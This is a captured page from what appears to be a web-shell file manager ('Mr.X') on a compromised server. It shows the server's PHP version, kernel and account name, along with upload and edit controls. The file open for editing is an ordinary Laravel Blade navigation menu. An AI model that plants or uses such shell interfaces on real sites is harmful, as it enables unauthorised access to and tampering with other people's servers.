🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:navigation.blade.php
<nav x-data="{ open: false }" class="bg-navy border-b border-navy-dark"> <!-- Primary Navigation Menu --> <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8"> <div class="flex justify-between h-16"> <div class="flex"> <!-- Logo --> <div class="shrink-0 flex items-center"> <a href="{{ route('dashboard') }}"> <x-application-logo class="h-10 w-auto" /> </a> </div> <!-- Navigation Links --> <div class="hidden space-x-4 sm:-my-px sm:ms-10 sm:flex items-center"> {{-- Always show Dashboard --}} <a href="{{ route('dashboard') }}" class="px-3 py-2 rounded-md text-sm font-medium {{ request()->routeIs('dashboard') ? 'bg-navy-light text-orange' : 'text-gray-300 hover:bg-navy-light hover:text-white' }} transition-colors duration-200"> Dashboard </a> {{-- Admin Links --}} @if(auth()->user()->hasRole('Admin')) <a href="{{ route('admin.dashboard') }}" class="px-3 py-2 rounded-md text-sm font-medium {{ request()->routeIs('admin.dashboard') ? 'bg-navy-light text-orange' : 'text-gray-300 hover:bg-navy-light hover:text-white' }} transition-colors duration-200"> Admin Panel </a> <a href="{{ route('admin.projects') }}" class="px-3 py-2 rounded-md text-sm font-medium {{ request()->routeIs('admin.projects') ? 'bg-navy-light text-orange' : 'text-gray-300 hover:bg-navy-light hover:text-white' }} transition-colors duration-200"> Projects </a> <a href="{{ route('admin.leads') }}" class="px-3 py-2 rounded-md text-sm font-medium {{ request()->routeIs('admin.leads') ? 'bg-navy-light text-orange' : 'text-gray-300 hover:bg-navy-light hover:text-white' }} transition-colors duration-200"> Leads </a> <a href="{{ route('admin.financials') }}" class="px-3 py-2 rounded-md text-sm font-medium {{ request()->routeIs('admin.financials') ? 'bg-navy-light text-orange' : 'text-gray-300 hover:bg-navy-light hover:text-white' }} transition-colors duration-200"> Financials </a> <a href="{{ route('admin.domains') }}" class="px-3 py-2 rounded-md text-sm font-medium {{ request()->routeIs('admin.domains') ? 'bg-navy-light text-orange' : 'text-gray-300 hover:bg-navy-light hover:text-white' }} transition-colors duration-200"> Domains </a> <a href="{{ route('admin.attendance') }}" class="px-3 py-2 rounded-md text-sm font-medium {{ request()->routeIs('admin.attendance') ? 'bg-navy-light text-orange' : 'text-gray-300 hover:bg-navy-light hover:text-white' }} transition-colors duration-200"> Attendance </a> @endif {{-- Tech Lead Links --}} @if(auth()->user()->hasRole('Tech Lead')) <a href="{{ route('techlead.dashboard') }}" class="px-3 py-2 rounded-md text-sm font-medium {{ request()->routeIs('techlead.dashboard') ? 'bg-navy-light text-orange' : 'text-gray-300 hover:bg-navy-light hover:text-white' }} transition-colors duration-200"> Tech Lead Panel </a> <a href="{{ route('techlead.education') }}" class="px-3 py-2 rounded-md text-sm font-medium {{ request()->routeIs('techlead.education') ? 'bg-navy-light text-orange' : 'text-gray-300 hover:bg-navy-light hover:text-white' }} transition-colors duration-200"> Education </a> <a href="{{ route('techlead.leads') }}" class="px-3 py-2 rounded-md text-sm font-medium {{ request()->routeIs('techlead.leads') ? 'bg-navy-light text-orange' : 'text-gray-300 hover:bg-navy-light hover:text-white' }} transition-colors duration-200"> Leads </a> @endif {{-- Developer Links --}} @if(auth()->user()->hasRole('Developer')) <a href="{{ route('developer.dashboard') }}" class="px-3 py-2 rounded-md text-sm font-medium {{ request()->routeIs('developer.*') ? 'bg-navy-light text-orange' : 'text-gray-300 hover:bg-navy-light hover:text-white' }} transition-colors duration-200"> Dev Panel </a> @endif {{-- Sales Links --}} @if(auth()->user()->hasRole('Sales')) <a href="{{ route('sales.dashboard') }}" class="px-3 py-2 rounded-md text-sm font-medium {{ request()->routeIs('sales.*') ? 'bg-navy-light text-orange' : 'text-gray-300 hover:bg-navy-light hover:text-white' }} transition-colors duration-200"> Sales Panel </a> @endif </div> </div> <!-- Settings Dropdown --> <div class="hidden sm:flex sm:items-center sm:ms-6"> <x-dropdown align="right" width="48"> <x-slot name="trigger"> <button class="inline-flex items-center px-3 py-2 border border-transparent text-sm leading-4 font-medium rounded-md text-gray-300 bg-navy hover:text-white focus:outline-none transition ease-in-out duration-150"> <img class="h-7 w-7 rounded-full object-cover mr-2 ring-1 ring-white/20" src="{{ Auth::user()->profile_photo_url }}" alt="{{ Auth::user()->name }}"> <div>{{ Auth::user()->name }}</div> <div class="ms-1"> <svg class="fill-current h-4 w-4" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20"> <path fill-rule="evenodd" d="M5.293 7.293a1 1 0 011.414 0L10 10.586l3.293-3.293a1 1 0 111.414 1.414l-4 4a1 1 0 01-1.414 0l-4-4a1 1 0 010-1.414z" clip-rule="evenodd" /> </svg> </div> </button> </x-slot> <x-slot name="content"> <div class="px-4 py-2 text-xs text-gray-400 border-b"> {{ auth()->user()->getRoleNames()->first() ?? 'No Role' }} </div> <x-dropdown-link :href="route('profile.edit')"> {{ __('Profile') }} </x-dropdown-link> <!-- Authentication --> <form method="POST" action="{{ route('logout') }}"> @csrf <x-dropdown-link :href="route('logout')" onclick="event.preventDefault(); this.closest('form').submit();"> {{ __('Log Out') }} </x-dropdown-link> </form> </x-slot> </x-dropdown> </div> <!-- Hamburger --> <div class="-me-2 flex items-center sm:hidden"> <button @click="open = ! open" class="inline-flex items-center justify-center p-2 rounded-md text-gray-400 hover:text-white hover:bg-navy-light focus:outline-none focus:bg-navy-light focus:text-white transition duration-150 ease-in-out"> <svg class="h-6 w-6" stroke="currentColor" fill="none" viewBox="0 0 24 24"> <path :class="{'hidden': open, 'inline-flex': ! open }" class="inline-flex" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 6h16M4 12h16M4 18h16" /> <path :class="{'hidden': ! open, 'inline-flex': open }" class="hidden" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12" /> </svg> </button> </div> </div> </div> <!-- Responsive Navigation Menu --> <div :class="{'block': open, 'hidden': ! open}" class="hidden sm:hidden bg-navy-dark"> <div class="pt-2 pb-3 space-y-1"> <a href="{{ route('dashboard') }}" class="block px-4 py-2 text-sm text-gray-300 hover:bg-navy-light hover:text-white">Dashboard</a> @if(auth()->user()->hasRole('Admin')) <a href="{{ route('admin.dashboard') }}" class="block px-4 py-2 text-sm text-gray-300 hover:bg-navy-light hover:text-white">Admin Panel</a> <a href="{{ route('admin.projects') }}" class="block px-4 py-2 text-sm text-gray-300 hover:bg-navy-light hover:text-white">Projects</a> <a href="{{ route('admin.leads') }}" class="block px-4 py-2 text-sm text-gray-300 hover:bg-navy-light hover:text-white">Leads</a> <a href="{{ route('admin.financials') }}" class="block px-4 py-2 text-sm text-gray-300 hover:bg-navy-light hover:text-white">Financials</a> <a href="{{ route('admin.domains') }}" class="block px-4 py-2 text-sm text-gray-300 hover:bg-navy-light hover:text-white">Domains</a> <a href="{{ route('admin.attendance') }}" class="block px-4 py-2 text-sm text-gray-300 hover:bg-navy-light hover:text-white">Attendance</a> @endif @if(auth()->user()->hasRole('Tech Lead')) <a href="{{ route('techlead.dashboard') }}" class="block px-4 py-2 text-sm text-gray-300 hover:bg-navy-light hover:text-white">Tech Lead Panel</a> <a href="{{ route('techlead.education') }}" class="block px-4 py-2 text-sm text-gray-300 hover:bg-navy-light hover:text-white">Education</a> <a href="{{ route('techlead.leads') }}" class="block px-4 py-2 text-sm text-gray-300 hover:bg-navy-light hover:text-white">Leads</a> @endif @if(auth()->user()->hasRole('Developer')) <a href="{{ route('developer.dashboard') }}" class="block px-4 py-2 text-sm text-gray-300 hover:bg-navy-light hover:text-white">Dev Panel</a> @endif @if(auth()->user()->hasRole('Sales')) <a href="{{ route('sales.dashboard') }}" class="block px-4 py-2 text-sm text-gray-300 hover:bg-navy-light hover:text-white">Sales Panel</a> @endif </div> <!-- Responsive Settings Options --> <div class="pt-4 pb-1 border-t border-navy-light"> <div class="px-4"> <div class="flex items-center gap-3"> <img class="h-10 w-10 rounded-full object-cover ring-2 ring-orange/30" src="{{ Auth::user()->profile_photo_url }}" alt="{{ Auth::user()->name }}"> <div> <div class="font-medium text-base text-white">{{ Auth::user()->name }}</div> <div class="font-medium text-sm text-gray-400">{{ Auth::user()->email }}</div> <div class="text-xs text-orange">{{ auth()->user()->getRoleNames()->first() ?? 'No Role' }}</div> </div> </div> </div> <div class="mt-3 space-y-1"> <a href="{{ route('profile.edit') }}" class="block px-4 py-2 text-sm text-gray-300 hover:bg-navy-light hover:text-white">Profile</a> <!-- Authentication --> <form method="POST" action="{{ route('logout') }}"> @csrf <button type="submit" class="block w-full text-left px-4 py-2 text-sm text-gray-300 hover:bg-navy-light hover:text-white"> Log Out </button> </form> </div> </div> </div> </nav>
Save Changes
Cancel
Create New File
Create New Folder